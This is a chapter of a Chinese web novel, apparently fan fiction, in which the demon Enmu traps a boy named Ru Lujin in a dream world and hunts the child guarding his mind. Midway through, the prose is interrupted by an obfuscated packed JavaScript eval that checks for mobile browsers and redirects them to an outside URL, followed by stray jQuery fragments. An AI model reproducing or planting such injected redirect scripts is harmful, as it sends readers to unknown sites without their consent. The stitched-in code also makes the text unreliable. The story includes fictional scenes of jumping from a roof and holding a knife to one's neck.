两个人疑神疑鬼的瞅这瞅那,一时间觉得全世界都可能害他们,干脆背着书包逃课出学校了。


    “喂,儒鹭金,你真的没感觉错吗?”


    红绿灯旁,两个背着书包的半大小子静静等着红灯。


    突然,李宫澄问。


    儒鹭金坚定回望,“我的英语能有错吗?”


    李宫澄噎住,他的手摸了摸后颈,一时间找不出反驳的话,他一脸纠结。


    “那如果,如果说,你才是这个世界真实的,那我是什么?”


    儒鹭金看着李宫澄,心头是甩不去的怀念,他笑了笑,神情专注,“你是我的好朋友啊。”


    “什么啊……”李宫澄笑起来。


    过马路的时候,儒鹭金的余光注意到身旁路过了一个头发微卷的孩子,他扭头看过去,却什么也没有。


    “李宫澄。”


    路上,儒鹭金叫住这个高了他大半个头的少年。


    李宫澄回头看他。


    “嗯?”


    “如果还能再见面,我再也不说你只会憨长个了。”


    “干什么啊,搞得这么悲伤。说不定你只是做了个梦,一醒来又能看到我了呢。”


    李宫澄挤眉弄眼,“是吧,鹭金哥哥?”


    儒鹭金沉默。


    李宫澄的笑容再也维持不下去。


    他走过去,用力抱了一下儒鹭金,努力掩饰着喉咙里的哽咽。


    “小阿金,你一定要好好的。”


    儒鹭金回抱住他,低声道:“我会的。”


    “我们当一辈子的好兄弟。”


    儒鹭金莫名顿了一下,“嗯。”


    “我们等着你。”


    “好。”


    ……


    儒鹭金考上了市里第一的好学校,父母高兴的要请朋友吃饭庆祝。


    家里喜气洋洋的,各种大餐摆上桌子。


    被庆祝的儒鹭金却高兴不起来。


    他还是没找到出去的办法。


    “来儿子,爸爸给你卷个菜!”


    “谢谢爸爸。”


    这么说着,儒鹭金却没有动作。


    儒父将卷好的菜放进小盘搁在儒鹭金的碗旁,“你这孩子,怎么拉着个脸?”


    儒鹭金没有说话。


    “我要吃这个大闸蟹!”理直气壮的声音。


    太宰?


    儒鹭金猛地抬头,看到的只是爸爸朋友家的孩子撇着嘴向大人撒娇。


    “太宰…是谁?”


    儒鹭金表情迷茫。


    “哥哥?”儒曦涵担忧的看着儒鹭金。


    儒鹭金无力的笑了一下,“吃饭吧。”


    *


    “真是……闻所未闻。”


    高楼大厦上,魇梦居高临下的看着这一切,陌生的世界,陌生的语言。


    还有……儒鹭金?


    魇梦哼笑着用手捧住脸颊,眼里杀意尽显。


    魇梦还是第一次遇见不可控的梦境,虽然探查不到记忆,但还能大致操控一下。


    只要找到这个人的精神内核并破坏,那魇梦就可以轻易将儒鹭金杀死在梦中。


    这么重要的事,魇梦一定要亲自来。


    一切都只会是无惨大人成神路上的垫脚石。


    “哈啊……无惨大人一定会很喜欢的吧……”


    ……


    “相信我儿子将来一定会有大作为哈哈。”


    儒父笑着向大家举杯。


    屋子里的人抽烟喝酒,笑意洋洋。


    儒父脸上明显有了两坨红晕,他今天很高兴,挨个敬完酒之后,最后向儒母举杯。


    “阿晴,我爱你一辈子。”


    母亲的脸上是藏不住的幸福。


    “够了吧。”


    儒鹭金突然出声。


    四周忽的一静。


    儒鹭金终于忍不住了,大声道:“我说够了吧。”


    他站起身,仰头直视他的亲生父亲,冷声道:“那个小三呢。”


    中年男人的笑容维持不住,冷下脸,“你胡说什么。”


    “孩子已经有了吧?我记得还买了套房子养着。你的天命,不是吗?”


    儒鹭金高声道。


    儒母担忧的看着自己的孩子,“鹭金,你怎么了?”


    “你也是。”儒鹭金看向儒母,“你不是每次都向我诉苦,说爸爸老是忽略你的感受。”


    “每次他带着一帮朋友来聚餐都把家里搞的一团糟,爸爸也不帮忙收拾,你都说很累。你都忘了吗?你还说你不喜欢闻二手烟,对你和孩子们的身体不好。”


    “儒鹭金!”


    儒父呵止,转而换了一副笑脸面对他的朋友,“孩子最近心情不好,说胡话。”


    儒鹭金攥紧拳头,莫名不敢去看弟弟妹妹的脸,他垂下脑袋,冷静陈述着事实。


    “你们明明已经离婚了,妈妈带着妹妹改嫁,爸爸二婚,我也没有考上市里第一好的学校让你们高兴。这个家早就散了,你们都忘了吗?”弟弟会被后妈哭闹为由送到乡下奶奶家。


    后来就一直推脱将他接回来。


    而儒鹭金就是因此和父亲闹掰离家出走,之后遇见了系统。


    儒鹭金抬起头,笑了,“原来在我的梦境,我竟然是个这么自私的人啊。”


    明明他一直很高兴妈妈找到真爱的,远离人渣的。


    就是对不起还没懂事的弟弟妹妹。


    “啪!”


    儒父狠狠甩了儒鹭金一巴掌,“你到底在胡说八道什么?”


    *


    梦境世界意外的广阔,经过一系列闯红灯被撞,走路上被老大爷碰瓷,撞进结婚现场被骂等等不顺心的事故,魇梦终于走到梦境的边缘。


    为了不惊扰梦境,魇梦没有大动干戈。


    他用指甲将梦境撕开一道口子,跨进去,入目的是一个装饰温馨的小房子,以及一个黑发鸢眼穿着家族羽织的小男孩。


    男孩见了魇梦,笑着问,“是客人吗?”


    魇梦锋锐的指甲亮出。


    见此,男孩的笑容收敛,,“如果是来破坏这里的话,那不可以哦。”


    但魇梦不以为意,他眯起眼睛,“看来,你就是最后一道保险了。”


    ……


    没有小三,没有矛盾,即使考试交了白卷结果也是进步的成绩。


    甚至连死去的爷爷也能活着陪着奶奶。


    无疑,这是一个幸福的世界。


    儒鹭金仿佛才是那个最不和谐的人。


    他彻底和这里的人撕破脸皮,拿起刀具阻止其他人的靠近,在亲人看怪物的眼神和不顾生命的阻拦中自己却被逼到楼顶。


    不该是这样,为什么是这样?


    “阿金!你下来!”是母亲撕心裂肺的哭喊。


    “呜呜哥哥……”是妹妹恐惧的声音。


    “鹭金,别冲动,你回来,爸爸你好好说话!”是熟悉又陌生的父亲。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720828|154286||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    儒鹭金的身形逐渐在11岁与17岁之间转换,楼下的警笛声嗡鸣入耳。


    消防员也赶到楼顶,攀岩走壁着想要拯救这条年轻的生命。


    真令人怀念。


    “幸福是要自己创造的不是吗?”


    最终,17岁的儒鹭金自言自语,声音散在风中消逝。


    他终于想起了一切。


    脚步后退着踩在楼顶的边缘,儒鹭金毫不犹豫,在所有人的惊呼中一跃而下。


    【睡吧。】


    儒鹭金又回来了。


    “你有3分钟的时间吐出你知道的情报。”


    17岁的身体,带着记忆,被绑在椅子上即将被严刑拷打的模样。


    不远处,是漫不经心拿起刑具的西装黑色大衣的太宰治。


    儒鹭金:啊?黑时宰不要啊。


    就算儒鹭金内心的确担心太宰治没了他以后会长歪,但梦境也不用夸张成这样吧?


    最后还是死了。


    【睡吧。】


    “阿金!哈哈哈,什么好孩子我不当啦!我要和变态大叔跑路过舒服的日子去了!”


    这位唇钉纹身且不良的更是上个梦境的翻版。


    儒鹭金无力的伸出尔康手。


    【睡吧。】


    “儒鹭金在做什么蠢事?你说的那些我都信了,但不是让你做这种傻事啊!”


    是不知道怎么出现在这里的李宫澄。


    儒鹭金继续向前跑。


    “儒鹭金,上次看你打小混混真的还蛮帅的哦。”


    是青梅竹马闵雨霏。


    继续向前。


    “哥哥哥哥!小兔子它又不吃东西了。”


    是朋友中最小的墨沫。


    ‘那是因为你老喂它一些稀奇古怪的东西。’


    思路跑偏了。


    儒鹭金甩甩脑袋,加快速度。


    “哥哥!你为什么要丢下我?!”


    长大后质问他的弟弟。


    “你这个不孝子!”


    愤怒的爸爸。


    “鹭金,到底去哪了我的鹭金……”


    悲痛欲绝的奶奶。


    “哥哥,我好想你……”


    是在外面无助的妹妹。


    “我会回去的。”儒鹭金呢喃。


    他闭了闭眼,再次将刀架在脖子上。


    【睡吧。】


    “阿金,你不是说要带我回到这里一起生活吗?我们现在已经在这里了。”


    是太宰治。


    这个梦境没完没了了。


    儒鹭金烦躁的蹙眉。


    ……


    “虽然你的能力很奇特,很可惜,只是人类的体质呢……”在梦里也不能吃。


    魇梦掐着男孩的脖子粗暴的将他提起来。


    “要是鬼的话……”


    男孩倔强的瞪着魇梦,用手使劲掰着魇梦的手,双脚一起抗拒的蹬着魇梦的身体。


    “时间也不早了。”


    魇梦弯起眼睛,“就让我先送你上路吧。”


    说着,他张开嘴探向男孩的脖颈。


    在魇梦牙齿即将刺穿男孩脖颈的一瞬间,一把刀横穿着魇梦的脖颈而过将他死死钉在墙上。


    被安慰的护在怀里,男孩终于像个受到委屈的孩子,在儒鹭金怀里抽抽噎噎的哭出声音。


    儒鹭金怀里抱着长得和太宰治小时候一样的小孩,怒气早就在心里升腾,现在只觉得更甚。